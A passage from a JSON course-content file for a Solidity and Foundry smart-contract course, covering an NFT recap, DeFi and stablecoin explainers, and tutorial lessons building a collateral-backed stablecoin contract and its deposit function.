cryptocurrency world, as transactions cannot be undone. With this guide, sending transactions, especially on MetaMask, should be a walk in the park. Stay safe and Happy Trading!\n", + "updates": [] + }, + { + "lessonId": "dfedd4c2-96d5-4093-b8ce-c669163e7936", + "number": 24, + "title": "Section recap", + "slug": "nft-and-andvanced-evm-recap", + "folderName": "24-recap", + "description": "A comprehensive recap of the entire course, summarizing key concepts such as NFT basics, storage options, advanced EVM topics, smart contract interaction, and the use of tools like MetaMask for transaction verification.", + "duration": 4, + "videoUrl": "Vjbg00RhOexykjOo01Iec01leXN3FnYnKqOwyTVx0201cCPk", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/24-recap/+page.md", + "markdownContent": "---\ntitle: Recap\n---\n\n_Follow along with this video._\n\n\n\n---\n\nWow! We’ve traversed quite the technological terrain in this course. We've gained knowledge about NFTs, financial wallets, encoding, transaction viewing, decoding hex data and more. We have also had hands-on exercises to create a basic NFT with all the main functionalities necessary. So, let's do a quick run-through of all that we've covered in this course.\n\n## Understanding NFTs\n\nFirst and foremost, we demystified what an NFT actually is. NFT stands for Non-Fungible Token, a unique cryptographic token on blockchain that represents ownership or proof of authenticity of an item or asset, digital or physical.\n\nWe didn't stop at learning theoretically, we created our own basic NFT equipped with all the essential functions, such as the Token URI, which pointed to the metadata, and the Mint NFT function.\n\n```js\n function mintNftOnContract(address basicNftAddress) public {\n vm.startBroadcast();\n BasicNft(basicNftAddress).mintNft(PUG_URI);\n vm.stopBroadcast();\n }\n```\n\n## Storing NFTs: On-chain vs IPFS\n\nNext, we learnt about NFT storage, specifically the difference between storing the NFT metadata on-chain vs on IPFS. On-chain storage translates into a higher cost but boasts a more decentralized version. Storing on IPFS, on the other hand, is a bit cheaper.\n\nAside from IPFS and on-chain, we also briefly explored Filecoin and Rweave, two other decentralized storage platforms to consider. These offer a more decentralized, yet still cost-effective, solution than storing on the ETH mainnet.\n\n## Beyond the Basics\n\nOur learning journey didn't end there. We delved into more advanced matters like file reading from scripts, base 64 encoding, function signatures, function selectors, different encoding types and diverse methods for data encoding. We also mastered calling any function regardless of whether we have the interface, provided we have the function signature.\n\n## Behind the Scenes of Transactions\n\nExploring further, we got a handle on the nitty-gritty of transactions on the blockchain and the data included when sending transactions. We also learnt how to view transactions on a block explorer and delve into the related input data.\n\nA great example can be found when checking out previous transactions. On any block explorer, select a transaction, and join us as we navigate to more details to discover function information and input data.\n\n\n\n## The Journey Ahead\n\nReflecting on the lessons, it's clear we've learnt so much! And it is exciting to see how quickly the knowledge and skills are growing. As we move forward, you'll go through more advanced sections like the Foundry DFI stablecoin, upgrades, governance and introduction to security.\n\nTake a well-deserved break, and when you're ready, tweet your excitement about your super advanced learnings. You're on the path towards becoming a phenomenal smart contract developer. I can't wait to see you in the next lessons.\n\n_\"By getting this far, you have learned some skills that even some top solidity devs don't even know. You are growing incredibly quickly.\"_\n\nGood job, everyone! Until next time.\n", + "updates": [] + } + ] + }, + { +"sectionId": "c78f2bb4-4bcd-4808-94e7-2e2b33e2522b", + "number": 3, + "title": "Develop a DeFi Protocol", + "slug": "develop-defi-protocol", + "folderName": "3-defi", + "lessons": [ + { + "lessonId": "877d4fab-bf7c-483f-95ad-dab912ac5103", + "number": 1, + "title": "DeFi introduction", + "slug": "defi-introduction", + "folderName": "1-defi-introduction", + "description": "Explore the fundamentals of decentralized finance (DeFi) including key concepts, protocols, and the significance of DeFi in the financial sector.", + "duration": 10, + "videoUrl": "8WTtH77r01dyAqQnIbk5i00Pa94I6WBpu023LYB8MZvy54", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/1-defi-introduction/+page.md", + "markdownContent": "---\ntitle: DeFi Introduction\n---\n\n_Follow along the course with this video._\n\n\n\n# Diving into Decentralized Finance (DeFi)\n\nHello and welcome back. Today we will be delving into Foundry DeFi, taking a look at the code we will be working with throughout this course. It is important to mention that DeFi is an enormous and complex subject that fully deserves an exclusive course, but for now, let's start by delving into the basics of DeFi. Let’s get started!\n\n## I. An Overview of DeFi\n\nIf you are new to DeFi, a great starting point is [DeFi Llama](https://defillama.com/), a simple and intuitive website that provides a current snapshot of the DeFi industry, giving insights into total value locked in DeFi, leading apps, and dominant protocols. Top platforms include open-source decentralized banking like Aave, liquid staking platforms like Lido, decentralized exchanges like Uniswap and Curve Finance, and collateralized debt position protocols like MakerDAO which we will be building later in the course.\n\n### The Beauty of DeFi\n\n\n\nThe beauty of DeFi and the reason for its growing popularity is the access it provides to sophisticated financial products and instruments in a decentralized context.\n\n\n\nIn my opinion, DeFi is possibly the most exciting and important application of smart contracts. I highly recommend spending some time to become conversant with the basics of DeFi, if not becoming fully fluent. Start with useful resources such as the [Bankless](https://www.bankless.com/) podcast and [MetaMask Learn](https://learn.metamask.io/).\n\n## II. Getting Started with DeFi\n\nI encourage you to begin by playing around with apps such as Aave and Uniswap on their respective websites.\n\nFor newcomers, it is advisable to start on testnets. Some platforms, such as Ethereum, have high transaction fees, so beginners might want to consider cheaper alternatives like Polygon Optimism or Arbitrum.\n\nIt's crucial to remain aware of the concept of MEV (Miner Extractable Value or Maximal Extractable Value) which is a significant issue in the DeFi industry. In essence, if you are a validator who arranges transactions in a block, you can organize them in a manner that favors you - cultivating fair practices in this area is the focus of several protocols like Flashbots.\n\nFor those looking to delve deeper into DeFi, I recommend checking out the [Flashbots.net](https://www.flashbots.net/) website, which houses a wealth of videos and blogs.\n\n## III. The Project: Building A Stablecoin\n\nIn this course, we will be building our version of a stablecoin. The concept of stablecoins is advanced and widely misunderstood. To simplify it, they are assets that peg their market value to another stable asset, like gold or a fiat currency.\n\n## IV. Foundry Stablecoin Project is the Most Advanced.\n\n\n\nEven though we have following lessons on upgrades, governance, introduction to security, this Foundry Stablecoin project is the most advanced one we're working with, hands down.\n\nStepping into DeFi and understanding everything in this lesson can be a daunting task. Seek help from [Chat GPT](https://chat.openai.com/), use the [GitHub repo](https://github.com/Cyfrin/foundry-full-course-f23/) discussion tab or even browse the [MakerDAO forum](https://forum.makerdao.com/) to understand how the industry stalwarts are working and implementing DeFi.\n\nYou can even check out Coinbase's educational content to get a headstart on DeFi.\n\nAnd remember,\n\n\n\nIn the following section, we will be walking you through the code. Happy learning!\n", + "updates": [] + }, + { + "lessonId": "1d12f97f-cd50-4fbd-80d0-ca47bcffdbe8", + "number": 2, + "title": "Project code walkthrough", + "slug": "defi-code-walkthrough", + "folderName": "2-defi-code-walkthrough", + "description": "Delve into the detailed walkthrough of DeFi codebase including analysis of key files and their functionalities in the DeFi environment.", + "duration": 4, + "videoUrl": "ajFRzG9nsPE9aBeH63NAUAmXHnhIgTVVKHACvP3sYn00", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/2-defi-code-walkthrough/+page.md", + "markdownContent": "---\ntitle: DeFi Code Walkthrough\n---\n\n_Follow along the course with this video._\n\n\n\n# Diving into the Codebase for a Decentralized Stablecoin\n\nWelcome to our deep-dive exploration of a pretty robust and interesting codebase! Today, we're unveiling the inner workings of two primary files: `DecentralizedStableCoin.sol` and `DSCEngine.sol`. Both can be found within the SRC folder of our codebase.\n\n\n\n## A Closer Look at decentralized stablecoin.sol\n\n`DcentralizedStableCoin.sol` is fundamentally a simplistic and minimalistic ERC20. What sets it aside, however, are the more intricate imports such as `ERC20Burnable` and `Ownable`.\n\nThe file contains pertinent functions such as the ERC20 constructor, a burn function (removes tokens), and a mint function (prints new tokens). At first glance, it bears striking resemblance to a classic ERC20.\n\n```javascript\nconstructor() ERC20 (\"DecentralizedStableCoin\", \"DSC\") {}\n\nfunction burn(uint256 _amount) public override onlyOwner{\n uint256 balance = balanceOf(msg.sender);\n if(_amount <= 0){\n revert DecentralizedStableCoin__AmountMustBeMoreThanZero();\n }\n if (balance < _amount){\n revert DecentralizedStableCoin__BurnAmountExceedsBalance();\n }\n super.burn(_amount);\n}\n\nfunction mint(address _to, uint256 _amount) external onlyOwner returns (bool){\n if(_to == address(0)){\n revert DecentralizedStableCoin__NotZeroAddress();\n }\n if(_amount <= 0){\n revert DecentralizedStableCoin__AmountMustBeMoreThanZero();\n }\n _mint(_to,_amount);\n return true;\n}\n```\n\n## Unraveling the DSCEngine\n\nOur main contract, `DSCEngine.sol`, controls the decentralized stablecoin. This file is brimming with specific functions. It accommodates functionalities such as the depositing and minting of DSC (Decentralized Stable Coin).\n\nPrimarily, the stablecoin operates by being collateral-backed, meaning that it's supported by collaterals with existing monetary value. This will be explored in greater detail further into this post.\n\n\n\nOther functions include the ability to redeem or withdraw your collateral, burn DSC, and liquidate. If you're wondering what liquidation is, don't worry; we'll break that down later.\n\nAn individual can also mint DSC if they have sufficient collateral, aside from depositing and redeeming collateral.\n\n## Diving into the Test Folder\n\n\n\nOur test folder includes unit tests for the engine, the stablecoin, and an Oracle Library. It also contains `mocks`, typical for any project.\n\nWe're also going to touch upon two intriguing aspects: fuzz tests and invariant tests. Especially, the introduction to `invariant tests` promises a fascinating journey as these tests discern average solidity developers from advanced ones.\n\n## Scripts\n\nOur scripts are astonishingly straightforward. Their principal purpose is to deploy the stablecoin. Here, we use Chainlink price feeds to gauge the price of underlying collateral.\n\nYou can find all the code and necessary information in this repo. However, be prepared, this section is advanced. So, understanding won't be a breeze, but remember, learning is never a race. You're encouraged to ask questions, code alongside, and fully comprehend what we're trying to accomplish.\n\n## The Importance of Stablecoins in DeFi\n\nBefore we proceed any further, I would like to mention that the reason for creating a stablecoin is my strong belief that they are pivotal in the universe of DeFi. The current solutions, however, are far from satisfying. Therefore, I hope this venture inspires you to create better, more efficient solutions.\n\nWith that said, let's go ahead and understand stablecoins better. Take your time, and keep learning! In the next part we'll be clarifying everything you need to know about stablecoins.\n", + "updates": [] + }, + { + "lessonId": "14c8bc73-7738-419b-bc4e-11fbd16e72e1", + "number": 3, + "title": "Introduction to stablecoins", + "slug": "defi-stablecoins", + "folderName": "3-defi-stablecoins-but-actually", + "description": "Gain insights into stablecoins, their types, significance in DeFi, and the roles they play in maintaining economic stability in digital finance.", + "duration": 15, + "videoUrl": "LJKc4j6202Cgks62hSG2IIqg4sO3C6G00dWgDYfArwsow", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/3-defi-stablecoins-but-actually/+page.md", + "markdownContent": "---\ntitle: Stablecoins, but actually\n---\n\n_Follow along the course with this video._\n\n\n\n# Everything You Need to Know About Stablecoins\n\n## Introduction\n\nStablecoins have become one of the most talked about topics in the cryptocurrency and blockchain space. However, there is a lot of misleading information out there about what stablecoins really are and how they work. This blog post will provide a comprehensive overview of stablecoins, clarifying common misconceptions and providing key details that every crypto enthusiast should understand.\n\nWe'll cover what stablecoins are, why they matter, different categories and properties of stablecoins, designs of top stablecoins like Dai and USDC, and most importantly - the real incentives behind stablecoin creation and usage. There's a lot of ground to cover, so let's dive in!\n\n## What Are Stablecoins?\n\n\n\nA stablecoin is a cryptocurrency designed to have minimal volatility and maintain a stable value over time. The key property of a stablecoin is that its \"buying power\" remains relatively constant.\n\nFor example, if 1 ETH could buy 10 apples last year but this year 1 ETH can only buy 5 apples due to ETH volatility, we would say ETH's buying power changed significantly. However, if $1 could buy 1 apple last year and $1 can still buy 1 apple today, the dollar's buying power remained stable.\n\nStablecoins aim to mimic the stability of fiat currencies like the dollar, while still retaining the benefits of cryptocurrencies like decentralization and security. A more formal definition is:\n\n\n\nUnlike most cryptocurrencies, stablecoins are pegged to real-world assets like the US dollar or algorithmically controlled via supply and demand to maintain stability.\n\n## Why Do Stablecoins Matter?\n\nStablecoins fulfill 3 key functions of money that are needed for an efficient economy:\n\n1. **Store of value**: Allow people to preserve wealth over time.\n2. **Unit of account**: Provide a common measure of value to price goods and services.\n3. **Medium of exchange**: Enable transactions between parties via a payment method.\n\nFor crypto to become a mature asset class and decentralized ecosystem, it requires stable assets that can reliably perform these functions without volatility. Fiat currencies like the US dollar serve these roles in traditional finance.\n\nStablecoins allow decentralized protocols to have access to price stability and a reliable medium of exchange - unlocking use cases like decentralized lending, payments, and more.\n\n## Categorizing Stablecoins\n\nThere are 3 key ways to categorize different types of stablecoins:\n\n### 1. Relative Stability\n\n- **Pegged (anchored) stablecoins**: Pegged to the value of another asset like the US dollar. Examples include USDC, Tether.\n- **Floating (unpegged) stablecoins**: Not pegged to any external asset. Stability is maintained via supply and demand mechanisms. Example: RYE stablecoin.\n\n### 2. Stability Mechanism\n\n- **Algorithmic**: Stability is maintained programmatically via a decentralized algorithm. Examples: DAI, Frax.\n- **Governed (centralized)**: Stability is controlled manually by a central party. Examples: USDC, Tether.\n\n### 3. Collateral Type\n\n- **Exogenous**: Collateral comes from outside the stablecoin's ecosystem. If stablecoin fails, collateral is unaffected. Examples: DAI (ETH collateral), USDC (USD fiat collateral).\n- **Endogenous**: Collateral comes from inside the stablecoin's ecosystem. If stablecoin fails, collateral fails too. Example: TerraUSD (LUNA collateral).\n\n## Top Stablecoin Designs\n\nNow let's look at some top stablecoins and their key design properties:\n\n### DAI\n\nProperties:\n\n- Pegged to USD\n- Algorithmic\n- Exogenous collateral (overcollateralized ETH)\n\nDAI is one of the most influential DeFi stablecoins. Users deposit ETH as collateral to mint DAI stablecoins against it. Unique stability fees discourage excessive printing. Autonomous smart contracts maintain the peg and collateralization ratio.\n\n### USDC\n\nProperties:\n\n- Pegged to USD\n- Governed (centralized)\n- Exogenous collateral (USD fiat reserves in bank accounts)\n\nUSDC is a popular stablecoin back 1:1 by US dollar reserves. It is controlled by a consortium of centralized entities that manage the reserves.\n\n### TerraUSD (UST)\n\nProperties:\n\n- Formerly pegged to USD\n- Algorithmic\n- Endogenous collateral (LUNA tokens)\n\nUST relied on algorithmic mechanisms to maintain its peg to the US dollar. Its stability was dependent on LUNA, whose value collapsed along with UST. This shows the risks of endogenous collateral.\n\n### RYE\n\nProperties:\n\n- Floating (not pegged)\n- Algorithmic\n- Exogenous collateral (ETH)\n\nRYE uses supply and demand mechanisms to algorithmically maintain stability relative to purchasing power. It is one of the few prominent non-pegged stablecoins on the market today.\n\n## The Real Purpose of Stablecoins\n\nAt this point you may be wondering - if stablecoins are supposed to enable decentralized payments and commerce, why are they being printed in the billions?\n\nThe truth is, the primary users and beneficiaries of today's stablecoins are not average crypto users transacting in a decentralized economy. **The key demand for stablecoins actually comes from wealthy crypto investors seeking to amplify their holdings through leveraged trading strategies.**\n\nMost DeFi protocols allow users to deposit cryptoassets like ETH as collateral to take out stablecoin loans, often at attractive interest rates. Investors can then use these stablecoins to buy more ETH and increase their position size.\n\nEssentially, stablecoins unlock amplified exposure to volatile cryptoassets - also known as leverage. With the ability to go 2-3x leverage on their holdings via stablecoin loans, large crypto investors can maximize returns in bull markets.\n\nAnd because stablecoin systems charge fees for minting, they earn a nice revenue stream from traders pursuing these leveraged strategies.\n\n**So while stablecoins are marketed as bringing stability and usability to decentralized finance, the reality is speculative leverage is driving most of the growth in stablecoins today.**\n\n## Conclusion\n\nThis covers the key essentials you need to know about stablecoins. To recap:\n\n- Stablecoins are cryptocurrencies designed to maintain a stable value.\n- They bring stability and usability to decentralized finance.\n- But leverage and speculation are big drivers of stablecoin demand today.\n\nThere are still many open questions about the ideal stablecoin design and governance model. I'm excited to see how stablecoin technology and applications continue to evolve in years to come!\n\nLet me know in the comments if you have any other stablecoin topics you want me to cover in a future post. And don't forget to like and share this article!\n", + "updates": [] + }, + { + "lessonId": "34ba57b0-a5f2-4991-801b-a4f3a0f1c230", + "number": 4, + "title": "Decentralised stablecoins", + "slug": "defi-decentralized-stablecoin", + "folderName": "4-defi-decentralized-stablecoin", + "description": "Understand the creation and management of decentralized stablecoins, focusing on their development, operational mechanics, and impact on DeFi.", + "duration": 11, + "videoUrl": "hHyZhQro6kCWr02tZLwTTeUxhdoJgwu00DsSRY01m01qyIA", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/4-defi-decentralized-stablecoin/+page.md", + "markdownContent": "---\ntitle: DecentralizedStableCoin.sol\n---\n\n_Follow along the course with this video._\n\n\n\n# Building a Decentralized Stablecoin: Step-by-Step Guide\n\nIn this section, we're diving into the exciting world of decentralized finance (DeFi) and going one step ahead by creating our very own stablecoin. We'll be covering everything you need to know to follow along and delve into the world of stablecoins with us.\n\n## What is a Stablecoin?\n\nA stablecoin is a form of cryptocurrency that is pegged to a reserve asset like the US Dollar. The idea behind it is to provide stability in the highly volatile world of cryptocurrencies.\n\n## Forging Ahead with Code\n\nIf you're as excited about this project as we are, you can follow along with all the code that we're creating in this tutorial. We have dedicated an entire GitHub repository to the code we'll be building - it's under the [foundry-defi-stablecoin-f23](https://github.com/Cyfrin/foundry-defi-stablecoin-f23) course section. We have big plans for this project, including getting the code audited to ensure its security and reliability.\n\nTo follow the updates about this audit, keep an eye on this GitHub repository as we will be posting all audit reports there.\n\nWe're diving straight into the nuts and bolts of this project. A lot of the information we'll be going over is likely to be familiar to you if you've done similar projects before. However, we'll also introduce a few new concepts like stateless fuzzing.\n\n## The Architecture of Our Stablecoin\n\nSo, before we dive straight into the code, let's take a glance at what our stablecoin's architecture is going to look like. We are building a stablecoin that's one, anchored, meaning it is pegged to the US Dollar. Secondly, our stability mechanism is algorithmic, meaning the process for minting is going to be entirely decentralized - there's no governing entity that is controlling our stablecoins. Lastly, we're using exogenous crypto-assets, specifically Ethereum and Bitcoin, as collateral for our stablecoin.\n\n\n\n## Maintaining Our Stablecoin's Value\n\nTo ensure that our stablecoin is always worth $1, we have to match it to the dollar's price constantly. We do this using a chainlink price feed. Our program will run a feed from chainlink, and we will set a function to exchange Ethereum and Bitcoin for their equivalent dollar value. This function will help us maintain the stability of our stablecoin.\n\nTo make the stability mechanism algorithmic, we will have a condition in our code that only mints the stablecoin if there's enough collateral.\n\nThe collateral type, i.e., Ethereum and Bitcoin, is exogenous, meaning, we're only going to accept these two types of cryptocurrencies as collateral. We're going to use the ERC20 version of Ethereum and Bitcoin, also known as wrapped Ethereum (WETH) and wrapped Bitcoin (WBTC).\n\n\n\nTo use this architecture, we create a code that over collateralizes the stablecoin using WETH and Bitcoin as the collateral.\n\n## Pulling up Our Sleeves and Coding Away\n\nWith the plan in place, it's time to dive into coding.\n\nHere is a step-by-step guide to creating your own decentralised stablecoin:\n\n### Step 1: Install OpenZeppelin\n\nWe begin by installing OpenZeppelin as it provides basic smart contract-building blocks. To do this, we use the following command:\n\n```bash\nforge install openzeppelin/openzeppelin-contracts --no-commit\n```\n\nThen open up the `foundry TOML` and add the following remappings:\n\n```javascript\nremappings = [\"@openzeppelin/contracts=lib/openzeppelin-contracts/contracts\"];\n```\n\n### Step 2: Import Libraries and Contract Functions\n\nOnce OpenZeppelin is correctly installed, open up our `DecentralizedStableCoin.sol` contract file where we will import necessary libraries. We start by importing three OpenZeppelin contracts: `ERC20`, `ERC20Burnable` and `Ownable`.\n\nThe `ERC20Burnable` contract provides us with a \"burn\" function, which is essential in maintaining the peg price of our stablecoin, as we'll be burning a lot of tokens. The \"burn\" function will be overridden by our function.\n\nIn contrast, when it comes to the \"mint\" function, we do not need to override any functions. Instead, we are going to call the \"\\_mint\" function directly.\n\n```javascript\n//SDPX-LICENSE-IDENTIFIER:MIT\npragma solidity 0.8.19;\n\nimport {ERC20Burnable, ERC20} from \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\";\nimport {Ownable} from \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract DecentralizedStableCoin is ERC20Burnable, Ownable {\n error DecentralizedStableCoin__AmountMustBeMoreThanZero();\n error DecentralizedStableCoin__BurnAmountExceedsBalance();\n error DecentralizedStableCoin__NotZeroAddress();\n\n constructor() ERC20(\"DecentralizedStableCoin\", \"DSC\") {}\n\n function burn(uint256 _amount) public override onlyOwner {\n uint256 balance = balanceOf(msg.sender);\n if (_amount <= 0) {\n revert DecentralizedStableCoin__AmountMustBeMoreThanZero();\n }\n if (balance < _amount) {\n revert DecentralizedStableCoin__BurnAmountExceedsBalance();\n }\n super.burn(_amount);\n }\n\n function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {\n if (_to == address(0)) {\n revert DecentralizedStableCoin__NotZeroAddress();\n }\n if (_amount <= 0) {\n revert DecentralizedStableCoin__AmountMustBeMoreThanZero();\n }\n _mint(_to, _amount);\n return true;\n }\n}\n```\n\nThat's it! We've now sown the seeds of creating a stablecoin.\n\nIt's always a good practice to keep updating and checking your code as you progress. You can run `forge build` to compile the contract and check for any issues or errors. In a little bit, we'll be writing tests and a deploy script.\n\n## Wrapping it up\n\nVoila! With that, we've built the basis our own stablecoin that with be pegged to the US dollar, fully decentralized, and powered by exogenous crypto-assets Ethereum and Bitcoin.\n\nStarting a DeFi project such as this raises numerous possibilities in the world of cryptocurrencies and blockchain technologies. The tools and technologies available to developers today, like Solidity and OpenZeppelin, are making it easier than ever to get started in this exciting field. So whether you are a beginner or a pro-developer, the landscape of stablecoins offers an intriguing opportunity for everyone.\n\nHappy coding!\n", + "updates": [] + }, + { + "lessonId": "139d8d5e-5fa9-4982-b591-6e4bd3f67fc5", + "number": 5, + "title": "Project setup - DSCEngine ", + "slug": "defi-dscengine-setup", + "folderName": "5-defi-dscengine-setup", + "description": "Learn about setting up the DSCEngine project in DeFi, including configuration, development practices, and key components of the engine.", + "duration": 11, + "videoUrl": "izZ00tZEeLxITGGzJQVniTa00oDOvKhUc00D0001MZHeYMYA", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/5-defi-dscengine-setup/+page.md", + "markdownContent": "---\ntitle: DSCEngine.sol Setup\n---\n\n_Follow along the course with this video._\n\n\n\n# Building a Decentralized Stablecoin Engine\n\nBuilding a stablecoin engine is not for the faint-hearted. But with the right tools and a dash of code fluency, you too can do it. If you're at this stage and feel a sense of achievement, clap yourself on the back! Alternatively, pause this and try your hand at crafting your own tests and deploy scripts. But don't get too comfortable just yet; we're only getting started.\n\nWe'll approach this project a bit differently from the ones people are used to. We won't shy away from doing some tests along the way to ensure we're on the right course. Let's get right into it and create an engine for our decentralized stablecoin (DSC) system.\n\n### Creating the DSC Engine\n\nStart by creating a new file `DSCEngine.sol`. This will serve as our centralized stablecoin engine. Now, launch right into building the engine.\n\nNext, copy and paste this beginning part into the engine to lay the groundwork for our contract. We have our SPDX statement, layout of contracts, pragma solidity etc:\n\n```javascript\n// Layout of Contract:\n// version\n// imports\n// errors\n// interfaces, libraries, contracts\n// Type declarations\n// State variables\n// Events\n// Modifiers\n// Functions\n\n// Layout of Functions:\n// constructor\n// receive function (if exists)\n// fallback function (if exists)\n// external\n// public\n// internal\n// private\n// internal & private view & pure functions\n// external & public view & pure functions\n\n//SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.18;\n\ncontract DSCEngine{\n //engine body\n}\n```\n\nLet's not forget to include a lot of Nat spec to our contract body. More detailed information in our code makes it easier for people to understand - think of it as making notations in a book that hundreds of people will read.\n\n```javascript\n/*\n * @title DSCEngine\n * @author Patrick Collins\n *\n * The system is designed to be as minimal as possible, and have the tokens maintain a 1 token == $1 peg at all times.\n * This is a stablecoin with the properties:\n * - Exogenously Collateralized\n * - Dollar Pegged\n * - Algorithmically Stable\n *\n * It is similar to DAI if DAI had no governance, no fees, and was backed by only WETH and WBTC.\n *\n * @notice This contract is the core of the Decentralized Stablecoin system. It handles all the logic\n * for minting and redeeming DSC, as well as depositing and withdrawing collateral.\n * @notice This contract is based on the MakerDAO DSS system\n */\n```\n\n\n\nThe DSC system's role is to retain tokens at a one token-equals-$1 peg. It bears similar features to DAI in terms of being a stablecoin. Still, it operates without governance, fees, and runs only on wrapped ETH and wrapped Bitcoin.\n\n### Core Functions of the DSC Engine\n\nWith our contract body in place, it's time to think about the core functions of our project. What actions should our system facilitate?\n\nFirstly, our system should be able to deposit collateral and mint DSC tokens. This action allows users to deposit either their DAI or Bitcoin to generate our stablecoin.\n\nSecondly, the system should also facilitate the redemption of collateral or DSC. Once users have finished using our stablecoin, they should be able to exchange it back for the collateral they used initially.\n\nAnother critical function is the ability to burn DSC. This functionality matters when a user fears having too much stablecoin and very little collateral. It provides a quick way to get more collateral than DSC, thus maintaining the balance within the system. Accordingly, our DSC system should always have more collateral than DSC.\n\nWe also need a liquidation function. Its importance comes into play when the price of a user's collateral falls too much. For example, if a user deposits collateral worth $100 and uses it to mint $50 worth of DSC, if the ETH price drops to $40, the collateral is less than DSC - a scenario we mustn't let happen. In such a case, the user should be liquidated and knocked off the system.\n\nThe fifth core function is the `healthFactor`. This external view function, `getHealthFactor`, allows us to see how healthy a particular user's portfolio is.\n\nLastly, we will need functions for `depositCollateral`, `redeemCollateral`, and `mintDSC`.\n\n```javascript\n // Functions we'll need\n function depositCollateralAndMintDSC() external {};\n function depositCollateral() external {};\n function redeemCollateralForDSC() external {};\n function redeemCollateral() external {};\n function mintDSC() external {};\n function burnDSC() external {};\n function liquidate() external {};\n function getHealthFactor() external view {};\n```\n\n### Testing as You Build\n\nTesting as we go on ensures that we're on the right track. Consider writing tests describing what each function should do to the system.\n\nIn conclusion, we've successfully begun constructing the engine for the Decentralized Stablecoin (DSC) system. It might feel overwhelming, but with diligence, testing, and code readability, we're off to a good start.\n\nWe'll be looking at tests and a deploy script next as well as additionial functions to improve our DSC System.\n\n\n\nHappy coding!\n", + "updates": [] + }, + { + "lessonId": "430a6668-1bb7-4b24-8593-7df423fe2681", + "number": 6, + "title": "Create the deposit collateral function", + "slug": "defi-deposit-collateral", + "folderName": "6-defi-deposit-collateral", + "description": "This lesson covers the process of creating a function to deposit collateral in a DeFi project, highlighting key aspects of its implementation.", + "duration": 19, + "videoUrl": "fshZYe6Vybmnc3de2tjSdG2Irk02TmUy5qecG8dl01K48", + "rawMarkdownUrl": "/routes/advanced-foundry/3-defi/6-defi-deposit-collateral/+page.md", + "markdownContent": "---\ntitle: Deposit Collateral\n---\n\n_Follow along the course with this video._\n\n\n\n# The Easiest Way to Learn Blockchain: Start with Depositing\n\nIn this section, I'm going to dive into the one place it's easiest to start when creating a blockchain protocol: Depositing collateral. After all, that's likely the first thing users will do with this protocol.\n\n## Depositing Collateral\n\nTo start, we'll need code that allows users to deposit their collateral. Something like:\n\n```js\nfunction depositCollateral(address tokenCollateralAddress, uint256 amountCollateral) external {...}\n```\n\nFrom here, we have a good starting point for explaining what's likely to happen in this function.\n\nLet's add a Natspec (Natural Specification) comment to help clarify what’s happening in the code.\n\n```js\n/*\n * @param tokenCollateralAddress: The address of the token to be deposited as collateral.\n * @param amountCollateral: The amount of collateral to deposit.\n */\n```\n\n## Code Sanitization\n\nWe'll want a way to ensure amountCollateral is more than zero, in order to prevent potential issues down the line with zero-valued transactions.\n\nTo do this, we can create a **modifier** called `moreThanZero`. Remember to reference our contract layout if you forget where things should go:\n\n```js\n// Layout of Contract:\n// Version\n// Imports\n// Errors\n// Interfaces, Libraries, Contracts\n// Type Declarations\n// State Variables\n// Events\n// Modifiers\n// Functions\n```\n\nOur modifier should look something like this:\n\n```js\nmodifier moreThanZero(uint256 amount) {\n if (amount == 0) {\n revert DSCEngine__NeedsMoreThanZero();\n }\n _;\n}\n```\n\n_Modifiers_ are used to change the behavior of functions in a declarative way. In this case, using a modifier for `moreThanZero` will allow its reuse throughout the functions.\n\n```js\nfunction depositCollateral(address tokenCollateralAddress, uint256 amountCollateral) external moreThanZero(amountCollateral) {...}\n```\n\nIf the amount deposited is zero, the function will revert and cancel the transaction, saving potential errors or wasted transactions.\n\n## Allow and Deny Tokens\n\nAnother thing we'll need is a restriction on what tokens can be used as collateral. So let's create a new modifier called `isAllowedToken`.\n\n```js\nmodifier isAllowedToken(address token) {\n if (tokenNotallowed){...};\n}\n```\n\nCurrently we have no 'token allow list', so we're going to handle this with a state mapping of addresses to addresses, which we provide in our contract's constructor. We know as well that our 'DSCEngine is going to need the `burn` and `mint` functions of our DSC contract, so we'll provide that address here as well:\n\n```js\ncontract DSCEngine {\n error DSCEngine__TokenAddressesAndPriceFeedAddressesAmountsDontMatch();\n ...\n DecentralizedStableCoin private i_dsc;\n mapping(address collateralToken => address priceFeed) private s_priceFeeds;\n ...\n constructor(address[] memory tokenAddresses, address[] memory priceFeedAddresses, address dscAddress){\n if (tokenAddresses.length != priceFeedAddresses.length) {\n revert DSCEngine__TokenAddressesAndPriceFeedAddressesAmountsDontMatch();\n }\n // These feeds will be the USD pairs\n // For example ETH / USD or MKR / USD\n for (uint256 i = 0; i < tokenAddresses.length; i++) {\n s_priceFeeds[tokenAddresses[i]] = priceFeedAddresses[i];\n s_collateralTokens.push(tokenAddresses[i]);\n }\n i_dsc = DecentralizedStableCoin(dscAddress);\n }\n}\n```\n\nFinally, after all this prep, we can return to our modifier to complete it:\n\n```js\nmodifier isAllowedToken(address token){\n if (s_priceFeeds[token] == address(0)){\n revert DSCEngine__NotAllowedToken();\n }\n _;\n}\n```\n\nHere, function calls with this modifier will only be valid if the inputted token address is on an allowed list.\n\n## Saving User Collateral Deposits\n\nFinally, we get to the heart of the deposit collateral function.\n\nWe need a way to save the user's deposited collateral. This is where we come to ‘_state variables_’:\n\n```js\nmapping(address user => mapping(address collateralToken => uint256 amount)) private s_collateralDeposited;;\n```\n\nThis is a mapping within a mapping. It connects the user's balance to a mapping of tokens, which maps to the amount of each token they have.\n\nWith this, we have developed a good foundation for our deposit collateral function.\n\n## Safety Precautions\n\nEven though we've added quite a bit already, there's still more that can be done to ensure this function is as safe as possible. One way is by adding the `nonReentrant` modifier, which guards against the most common attacks in all of Web3.\n\n```js\nimport \"@openzeppelin/contracts/security/ReentrancyGuard.sol\";\n...\n function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral) external moreThanZero(amountCollateral) isAllowedToken(tokenCollateralAddress) nonReentrant {\n s_collateralDeposited[msg.sender][tokenCollateralAddress] += amountCollateral;\n emit CollateralDeposited(msg.sender, tokenCollateralAddress, amountCollateral);\n bool success = 